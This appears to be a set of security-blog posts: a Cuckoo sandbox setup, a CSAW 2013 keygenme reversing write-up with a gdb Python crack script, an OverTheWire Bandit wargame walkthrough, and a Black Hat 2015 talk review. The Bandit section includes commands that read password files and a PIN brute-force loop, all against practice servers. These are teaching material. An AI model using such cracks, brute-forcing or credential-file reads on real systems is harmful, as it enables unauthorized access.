You'll still have to set up the virtual machine, and configure Cuckoo to use that VM. But at least this script will download them for you!

Check out Cuckoo's full documentation here: http://docs.cuckoosandbox.org/en/latest/

git clone git://github.com/cuckoosandbox/cuckoo.git  
wget http://download.virtualbox.org/virtualbox/5.0.14/virtualbox-5.0_5.0.14-105127~Ubuntu~trusty_i386.deb  
sudo dpkg -i virtualbox-5.0_5.0.14-105127~Ubuntu~trusty_i386.deb  
sudo apt-get install -f  

Cuckoo has really good flexibility to be expanded for your needs. It's entirely open source, and the code base isn't too bad. However, they make it even easier for you with some decent documentation. I blogged about the structure of Cuckoo and how to add custom features to it before, so check it out.


If you follow the Cuckoo documentation then you'll want to set up a host-only network adapter between your guest virtual machine and your host machine. After you do that through the Virtualbox settings, you have to set up the iptables rules for the communication to work.

sudo iptables -A FORWARD -o eth0 -i vboxnet0 -s -m conntrack --ctstate NEW -j ACCEPT;  
sudo iptables -A FORWARD -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT;  
sudo iptables -A POSTROUTING -t nat -j MASQUERADE;  
sudo sysctl -w net.ipv4.ip_forward=1;  

A walk through the binary with IDA

Want to learn reverse engineering? Continue ahead. This is a walkthrough of the "keygenme" reversing challenge from NYU's CSAW 2013 CTF competition. I try to be thorough and highlight how to solve both a CTF challenge, and how to use standard and modern reverse engineering tools.

Reversing : keygenme

someone has leaked a binary from an activation server.
can you crack the keygen algorithm for me?

using the ELF provided, reverse the keygeneration algorithm.
The server listening at raxcity.com on port 2000 will ask you for
the passwords of various usernames. If you can provide 10 passwords, you might get a nice flag :-)

Rumor has it that the actual keygen runs in a custom vm. I'd start by decoding the instruction format.

Try to make it break

Play with the binary and give it inputs. See if you can draw conclusions, or make it crash.

$ ./keygenme32.elf
usage: ./keygenme32.elf <username> <token 1> <token 2>  
$ ./keygenme32.elf hellohello 123 123
error: hellohello is not a valid name  
$ ./keygenme32.elf hellohellohello1 123 123

Simply running it gives us the usage details. Trying out different sized usernames leads us to figuring out that the username for the keygen has to be 16+ characters. I couldn't get any crashes, which is reasonable since it's a "reversing" challenge, and not a pwning challenge.

High level picture from disassembly

Let's use IDA to see what the binary is about.

Our beloved main entry point

We enter main. The first fork leads us to either calling printusage() or not.
We probably want to go down the path of not calling printusage().

Next fork is the length check that we already figured out.

And then bam! A gigantic linear procedure.
This looks like a lot of work. Trying to decompile with the tab hotkey doesn't work. We can try to decompile the entire thing (Ctrl+F5), and see if that's any better -- nope, the main() didn't decompile for some reason.

Huge procedure in IDA

A first pass high-level human decompilation of the huge function, that I've renamed chal_logic(), looks like it's along the lines of:

call strtoul(argv[2])  
call strtoul(argv[2])  
allocate some std::strings...  
get a random huge constant...  
    dword ptr [esp+4], offset a00004820212900...
some more string stuff...  
construct a new cpu::cpu object... # the hint did say the keygen algo runs in a VM  
    calls cpu::fillmemory()
cpu::execute() is called # the fake VM CPU must take that previous constant and treat it as a series of instructions by loading it into its *fake* memory  
call getT6()  
call getT7()  
call check(int, int, int, int)  
either a sadface or happyface is printed  

You might've noticed that after the block is another branch. That branch appears to just be some C++ garbage collection, as they both merge to the same point afterwards. It can be ignored.

Digging deeper

If you paid attention, I mentioned a couple paragraphs back that you can use tab to switch to pseudocode. That's huge and nifty. But, IDA has a lot of other small things that makes it useful. If you take a look at the disassembly text that IDA gave us in the chal_logic block, you'll notice a lot of pseudo-variables.

NOTE: Assembly comments beginning with <--- are my own, and others are autogenerated by IDA.

var_28 seems to be C++'s this pointer for the cpu::cpu object. You can see this, because the ebx register is typically used to store the this pointer by C++ compilers.

call    _ZN3cpuC2ESsSsSs   ; cpu::cpu(std::string,std::string,std::string)
mov     [ebp+var_28], ebx  ; <--- Notice ebx, going into var_28

var_2C, and var_30 appear to be the return values of GetT6() and GetT7(). This is evident with the simple knowledge that in x86, compilers use eax to store the return value of functions.

call    _ZN3cpu5GetT6Ev    ; cpu::GetT6(void)
mov     [ebp+var_2C], eax  ; <--- The return value of GetT6 is placed into eax, and var_2C
mov     eax, [ebp+var_28]  ; <--- Recall that var_28 is 'this' in respect to the cpu::cpu object
mov     [esp], eax         ; this
call    _ZN3cpu5GetT7Ev    ; cpu::GetT7(void)
mov     [ebp+var_30], eax  ; <--- The return value of GetT7 is placed into eax, and var_30
mov     ebx, [ebp+var_28]
test    ebx, ebx           ; <--- This part is some C++ garbage collection cruft
jz      short loc_804A10A

After GetT6() and GetT7() are called, a call to check(int, int, int, int) is done. Let's see what four ints get passed to check().

In the most common calling convention found on x86, cdecl, arguments get passed to functions off of the stack. In cdecl, the arguments of a function are pushed onto the stack in reverse order -- the function being called expects the top of the stack to be the the first argument to it. It looks like the call to check is check(var_2C, var_30, var_20, var_24).

NOTE: If you're not familiar with the stack, I'm going to be doing a write-up on it soon. For now, it's just a place in memory that acts like a stack data structure (last in, first out) and is used in x86 computer architecture.

From earlier we know that var_2C and var_30 are T6 and T7 respectively. So, what is var_20 and var_24? Let's look back at what IDA disassembled for us. Use the x hotkey on var_20 to get xrefs to it. This will list everywhere that var_20 is cross referenced.

call    _strtoul  
mov     [ebp+var_20], eax  ; <--- var_20 is the return of strtoul  
call    _strtoul  
mov     [ebp+var_24], eax  ; <--- var_24 is the return of strtoul  

var_20 is the return value of the 1st strtoul(). And our other friend, var_24 is the return value of the 2nd strtoul().

So this check(var_2C, var_30, var_20, var_24) call is actually:
check(T6 from the fake computer, T7 from the fake computer, first int input, second int input)

Figuring out what check() does is actually really easy. You can slowly reverse it by using an x86 ref
, or testing if IDA can do the work for us. Luckily the tab hotkey to see pseudo-code works.

_BOOL4 __cdecl check(int a1, int a2, int a3, int a4)  
  return __PAIR__(a2, a1) == __PAIR__(
                               (unsigned __int8)a4 | (BYTE3(a4) << 8) | ((unsigned __int8)((unsigned __int16)(a4 & 0xFF00) >> 8) << 16) | ((unsigned int)(unsigned __int8)((a4 & 0xFF0000) >> 16) << 24),
                               a3 ^ 0x31333337u);

Rewritten into python, and replacing the variable names with variable names to our liking:

def check(T6, T7, intarg1, intarg2):  
    temp1 = intarg1 ^ 0x31333337u
    temp2 = BYTE0(intarg2) | (BYTE3(intarg2) << 8) | (BYTE1(intarg2) << 16) | (BYTE2(intarg2) << 24)
    if temp1 != T6 or temp2 != T7:
       return false
    return true

The weird __PAIR__ keyword can basically be ignored. It's just comparing the 1st arguments of each pair, and then the 2nd arguments of each pair. If both comparisons is true, then true is returned. The BYTEn(x) macro is used to mean "the nth byte of x", where BYTE0 is the least significant byte

Okay, we almost have this binary figured out. However, we still need to know how the first argument, the username, is being used. It probably affects what "T6" and "T7" end up being by altering the instructions that get executed on the fake computer.

If var_20 is the the first numeric input, argv[2], then it would stand to reason that argv[1], the username, is var_1C.

mov     eax, [ebx+4]
add     eax, 4
mov     eax, [eax]
mov     [esp], eax   
call    _strlen
mov     [ebp+var_1C], eax
cmp     [ebp+var_1C], 0Fh  ; <--- Compare var_1C to 16
jg      short loc_8049F49

It looks like var_1C is compared to 16, so it's actually probably the length of the username, and not the actual username string. Going up a bit from the cmp instruction, it looks like the actual username string is in:

mov     eax, [ebx+4]
add     eax, 4  ; <--- eax now points to the username string

We can quickly leverage IDA's auto highlighting of selected variables by clicking on 'ebx' and seeing what glows yellow. The only place I see that's equiv to "ebx+8" is here:

mov     eax, [ebx+4]
add     eax, 4  ; <--- eax now points to the username string
mov     eax, [eax]
lea     edx, [ebp+var_4A]
mov     [esp+8], edx
mov     [esp+4], eax
lea     eax, [ebp+var_50]
mov     [esp], eax
call    __ZNSsC1EPKcRKSaIcE ; std::string::string(char const*,std::allocator<char> const&)

So it would appear that the username is used to create a std::string. Bunch more of std::string family function calls, and we can see that the username string is being concatenated to the random constant string we saw earlier.

What we know so far

So far our analysis of the binary tells us:

  • The binary takes 3 arguments
    • Username, a 16+ char string
    • Two integer arguments (they get converted from c-strings to ints with strtoul())
  • The binary constructs a cpu::cpu, a fake virtual computer
  • The binary fills the cpu::cpu, with some data from a long string, "000048202129009.."
  • The data is also derived from the username argument
  • The binary then runs cpu::execute to simulate running a computer with the memory/instructions loaded into it
  • The binary then gets T6 and T7 from that fake CPU after execution is finished.
  • The binary then runs a check(T6, T7, intarg1, intarg2)
  • If the check passes, we get a smileyface.

We know the username argument to the keygen is used as a seed to a fake computer to get T6 and T7 values out. We can reverse engineer the fake computer, and figure out how the username affects the instructions ran on it. However, I have a smarter and lazier idea -- it's a a computer, a fake one, but still a computer. That means it's a deterministic finite state machine. The same string input we give to it, will always produce the same output.

Recall the task at hand. We are to provide the correct key for 10 different usernames to a remote server. We have a leaked keygen binary, that takes a username and a key and tells us if they match. We can leverage this leaked keygen binary, and simply feed it the usernames that the remote server asks for. We can insert a debug break point right before the check() call in the binary, and see what arguments to it are. The first two arguments will be the fake computer's T6, and T7. Using those values, we can simply do math for the key that the remote server's check() function is expecting in return. Send it, and get a smileyface :-).

Writing our crack

We can leverage gdb's python scripting capability. Note however, that the python script has to be inside of gdb, after you launch it. We can use my shoe.py script to talk remotely to the server. Recall also that we have to do the check() function in reverse. We will be getting the T7, and we need to figure out what we can give for intarg that will shuffles around and form T7.

intarg    |  a  |  b  |  c  |  d  |  
               \   /     |     |
                 \      /      |
                /  \   /       |
              /      \/        |
             /      /  \       | 
            v      v    v      |
T7        |  1  |  2  |  3  |  4  |  
intarg =  |  3  |  1  |  2  |  4  |  
import gdb  
import sys

sys.path.append('.') # This is a hack to be able to import a local library  
import shoe

def get_t6t7(username):  
    keypart1 = "0x123123" # whatever
    keypart2 = "0x123123" # whatever

    prog = "/home/eugenek/code/buhacknight/workshops/keygenme-400/keygenme32.elf"
    args = "{} {} {}".format(username, keypart1, keypart2)
    check_bp = "0x0804A125"

    gdb.execute("file " + prog)
    gdb.execute("b *" + check_bp)
    gdb.execute("r " + args)

    T6 = gdb.parse_and_eval("*(unsigned int*)$esp")
    T7 = gdb.parse_and_eval("*(unsigned int*)($esp + 4)")

    print("T6 = {} T7 = {}".format(T6,T7))
    return (T6, T7)

def crack_keys(T6, T7):  
    keypart1 = T6 ^ 0x31333337
    keypart2 = (T7 & 0x000000FF) | (((T7 & 0x00FF0000) >> 16) << 8) | (((T7 & 0xFF000000) >> 24) << 16) | (((T7 & 0x0000FF00) >> 8) << 24) 
    return (keypart1, keypart2)

## Talk to the server and get what username it wants
## then send it back the cracked key
s = shoe.Shoe('localhost', 12123)  
resp = s.read_until("\r\n") # Welcome msg  
for i in range(0,10):  
    resp = s.read_until("\n").decode('utf-8') # Username msg
    username = resp[-23:].rstrip()
    t6, t7 = get_t6t7(username)
    keypart1, keypart2 = crack_keys(t6, t7)

    ans = "{} {}\n".format(str(int(keypart1)), str(int(keypart2)))
    resp = s.read_until("\n").decode('utf-8') # The smiley

resp = s.read_until("\n") # Let's get our flag!  

Run the script above in gdb:

$ source pwn.py
give me the password for l5R7Hd06vdzCEgVNBgUS1g
T6 = 719604441 T7 = 1692167297
give me the password for yhL6Ir0_kkEiIBkqhmJgsQ
T6 = 3377606778 T7 = 1557326192
... 8 more of these ...
b"here's the flag key{vM_k3yg3n_a1n7_n0_th4ng}\n"

Releasing a couple sets of security tools

I've been working on congregating a bunch of security and development related tools into easy to install repositories. You can see the list of tools for yourself and grab the repo.

Grab the windows version: https://github.com/eugenekolo/win-sec-tools

Linux version: https://github.com/eugenekolo/sec-tools

git clone https://github.com/eugenekolo/sec-tools  
./sec-tools/bin/manage-tools.sh setup
source ~/.bashrc

# list the available category/tools
manage-tools list

# install whatever <category/tool-name>
manage-tools install binary/radare2

# use the tool - your path is automatically configured
rabin2 -e /bin/ls

The Windows version at the moment is just a bunch of installer.exe's that I downloaded off the respective site.

The Linux version is a bit more sophisticated in that it's a separate install shell script for each tool organized into categories. See the usage details on github.

Be sure to submit any pull requests or issues :smile:!

Stack ASCII visualization

Highest Memory  
+----------------------+ <-- Maximum address of stack
|         ...          |
|                      |
+----------------------+ <-- Start of system()'s stack frame
|      void *arg       |
|   [return address]   |
|                      |
+----------------------+ <-- Start of read()'s frame
|     size_t count     |
|      void *buf       |
|        int fd        |
| [address of system]  | <-- Stack pointer, gets popped
|                      |
|         ...          |
+----------------------+ <-- Lowest address of stack, it keeps growing this way
Lowest Memory  

OverTheWire Bandit Wargame Write-up

This is one of the easier wargames out there. The first ~22 levels have very few gotchas for experienced UNIX developers, and can take 30 minutes to a day. There are a few that I got caught up on though. It's a good way to learn the shell, or get more experienced with it.

Usually each stage will give you a password (and increment the username) to the next stage that you use to login with to get the next password and so on.

Check it out yourself here: http://overthewire.org/wargames/bandit/

Bandit Wargame

Bandit 0 → 1

Simply ssh into the server, with the username and password provided, and cat readme.

ssh [email protected] # password bandit0
cat readme

Bandit 1 → 2

You need to give the full file path to read it when the file has a '-' in it.

cat /home/bandit1/-

Bandit 2 → 3

You can use autocomplete w/ the tab key to help you out with hard file names.

cat "spaces in this file name"

Bandit 3 → 4

You can see hidden dot files with ls -la.

cd /inhere/
ls -la
cat .hidden

Bandit 4 → 5

No need to think too much, you can cat out all the files and look for something that looks like a password.

cat /inhere/*

Bandit 5 → 6

I can't remember all the flags and options to find, so I had to look in man find to see how to specify a file size in bytes. Find is recursive by default.

find  . - size 1033c

Bandit 6 → 7

Just more flags to find, at the file system root.

find . -size 33c -user bandit7 -group bandit6

Bandit 7 → 8

Simple use of the pipe, | and grep.

cat data.txt | grep millionth

Bandit 8 → 9

You have to sort before using uniq, as uniq only looks at contiguous matches. Use the -c flag to display counts. Looking for the entry with only 1 count.

cat data.txt | sort | uniq -c 

Bandit 9 → 10

Just get a list of the strings in the data set and look for the string beginning with ========.

cat data.txt | strings

Bandit 10 → 11

Simply use of base64 tool.

base64 --decode data.txt 

Bandit 11 → 12

Simply using cat and copy paste into a rot13 convert convert online yields the answer. You can also use tr to do rot13.

Bandit 12 → 13

This one's a real drag. First get the hexdump into actual hex data and then do a series of file and different extractions like 7 times.

xxd -r data.txt
file <output file>
gunzip/bunzip2/tar xf over and over

Bandit 13 → 14

Simply specify the key to use to ssh with the -i flag.

ssh -i sshkey.private [email protected]

Bandit 14 → 15

This one's tricky, because it requires you to read the MOTD that says "passwords are stored in /etc/somegame_pass". After that it's just nc localhost 30000 and enter the password of bandit14 from the directory.

Bandit 15 → 16

I had to google how to use nc with SSL for this one. Turns out ncat, another clone of nc, from nmap allows easy ssl.

ncat --ssl localhost 30001

Bandit 16 → 17

For this one, you get an ssh key that you have to feed to a port running on localhost in the range 31000-32000. There's only 5 servers, so just list them all and try them all. You get an ssh key in return, save it to a file and chmod 600 it to use for the next level.

nmap localhost -p 31000-32000

Bandit 17 → 18

Just a simple diff.

diff passwords.old passwords.new

Bandit 18 → 19

Copy the file over using scp.

scp [email protected]:/home/bandit18/readme .

Bandit 19 → 20

The setuid bin runs as bandit20 and executes anything given as them.

./bandit20-do cat /etc/bandit_pass/bandit20

Bandit 20 → 21

Run a socket listener on one terminal, and use the suconnect binary as a socket client.

nc -l -p 6161 # On one terminal
./suconnect 6262 # On other terminal

Bandit 21 → 22

This one involves some guessing of what they want from you. Basically it's just look in /etc/cron.d and the cronjob_bandit22.sh file. The cronjob runs /usr/bin/cronjob_bandit22.sh which simply creates a tmp file with bandit22's pw. Read that file to get the next password.

Bandit 22 → 23

Same thing as the previous level, but look into cronjob_bandit23.sh, this one creates a file as well, but it's more obfuscated. You can simply redo what it does and get the filename.

 cat `echo I am user bandit23 | md5sum | cut -d ' ' -f 1`

Bandit 23 → 24

Another cronjob challenge. This one uses cronjob_bandit24.sh and executes all scripts in /var/spool/bandit24. Simply create a shell script that writes a file with bandit24's password. Be sure to chmod +x it.

cat /etc/bandit_pass/bandit24 > /tmp/somefile

Bandit 24 → 25

These last two are the most exciting. This one involves bruteforcing all 4 digit pins to a remote server. The slow way is to loop doing echo foo | nc, but that creates a new connection each time. The faster way is to keep the connection open and loop. I used my shoe.py script for easy reading and writing to remote servers.

import shoe

s = shoe.Shoe('localhost', 30002)
for i in range(0, 9999):
    cmd = "UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ {}".format(i)
    s.write(cmd + "\n")
    r = s.read_until_end(.001)
    if "Wrong!" not in r and len(r) > 10:

Bandit 25 → 26

This one took me a bit figure out. I'll leave it as a challenge to the reader.

Congratulations on solving the last level of this game!

Black Hat 2015 Video/Talk Review

I watched almost every Black Hat 2015 video. This year was about average. There were some great talks, and many not that great. Here's my highly biased top 10 list, and a few honorable mentions.

Black Hat Top 10

(1) Writing Bad @$$ Malware For OS X by Patrick Wardle

  • Details the OSX malware state.
  • Cool proof of concepts:
    • OSX loader kills stuff that doesn't match a signature. As such dynamic injection into running Apple signed apps doesn't work. However, can easily remove the signature in the first place, and then it works :).
    • Dylib hijacking (same as DLL hijacking) is prevalent.
  • Goes into detail of how to be stealthy and persistent.
  • Details how to bypass Gatekeeper, Xprotect, OSX Sandbox, Kernel-mode code signing, and that the number of local privilege escalations is absurd and easy to find in OSX.
  • Mentions the OSX tools he made relating to all of this:
    • KnockKnock, shows what autoruns on start
    • BlockBlock, block access to persistence areas

Overall a great talk by Patrick, and I highly recommend watching it.

(2) Ah! Universal Android Rooting Is Back by Wen Xu

  • A great case study of Keen Team's universal Android root discovery, PingPong root.
    • Works on Samsung S6.

(3) The Memory Sinkhole - Unleashing An X86 Design Flaw Allowing Universal Privilege Escalation by Christopher Domas

  • Primer on ring -2, the secure memory management unit that's below the hypervisor, that's below the kernel (ring 0).
  • Advanced memory/CPU exploitation leveraging the movement of the APIC.
  • Great talker
  • POC can be found at: https://www.exploit-db.com/exploits/37724

The top 3 are without a doubt my favourite from this year. However, it gets hard to decide positions for the rest of these...

(4) Abusing Silent Mitigations - Understanding Weaknesses Within Internet Explorer by Brian Gorenc & Abdul-Aziz Hariri & Simon Zuckerbraun

  • Good talk about exploiting the heap in modern IE. Use-after-free galore.
  • However, talk video is long and not organized well.

(5) Unicorn: Next Generation CPU Emulator Framework by Nguyen Anh Quynh & Hoang-Vu Dang

  • A faster more efficient QEMU fork.
  • Plugable and extensible.

(6) The Node.js Highway: Attacks Are At Full Throttle by Maty Siman & Amit Ashbel

  • Details some implementation based attacks on JS/Node.js

(7) Social Engineering The Windows Kernel: Finding And Exploiting Token Handling Vulnerabilities by James Forshaw

  • Overall a good talk, but a bit over my unknowledgeable in Windows head.

(8) Return To Where? You Can't Exploit What You Can't Find by Christopher Liebchen & Ahmad-Reza Sadeghi & Andrei Homescu & Stephen Crane

  • Readactor. Another Anti-ROP method.
    • Adds another layer of abstraction/indirection to hide addresses.
  • Many problems can be solved with another layer of indirection
  • Sounds like the paper might be more interesting to read in-depth.

(9) Certifi-gate: Front-Door Access To Pwning Millions Of Androids by Ohad Bobrov & Avi Bashan

  • Some Android permissions are "privileged", and only able to be acquired if OEM (Samsung, LG, etc.) signed them.
  • Remote control apps are signed by OEMs to work properly, due to needing those privileges.
  • Talk shows POCs that due to some apps being signed with such high privileges and their poor implementations, backdoors are easy.
    • Ex: TeamViewer uses a Cert's Serial # to verify communication to it, however Android doesn't use a central CA, self-signing is possible, as such you can create a cert with the same serial # as TeamViewer and MITM it.

(10) Exploiting XXE Vulnerabilities In File Parsing Functionality by Willis Vandevanter

  • Quick talk that shows some POCs with XML exploiting.
    • Word docs are XML.
  • Shows data exfil via errors from XML paresrs.

Honorable mentions:

(1) Exploiting Out-of-Order Execution For Covert Cross-VM Communication by Sophia D'Antoine

  • Novel concept (to me) about introducing hardware cross communication based on hypervisor allocating memory and needing to inform the guest VMs.

(2) Defeating Pass-the-Hash: Separation Of Powers by Seth Moore & Baris Saydag

  • I didn't find anything new, or too interesting, but it details OS internals, and how some stuff in Windows works. I recommend if you're serious about learning Windows 10 internals.

(3) Mobile Point Of Scam: Attacking The Square Reader by Alexandrea Mellen & John Moore & Artem Losev

  • Boston University represent! Great job guys.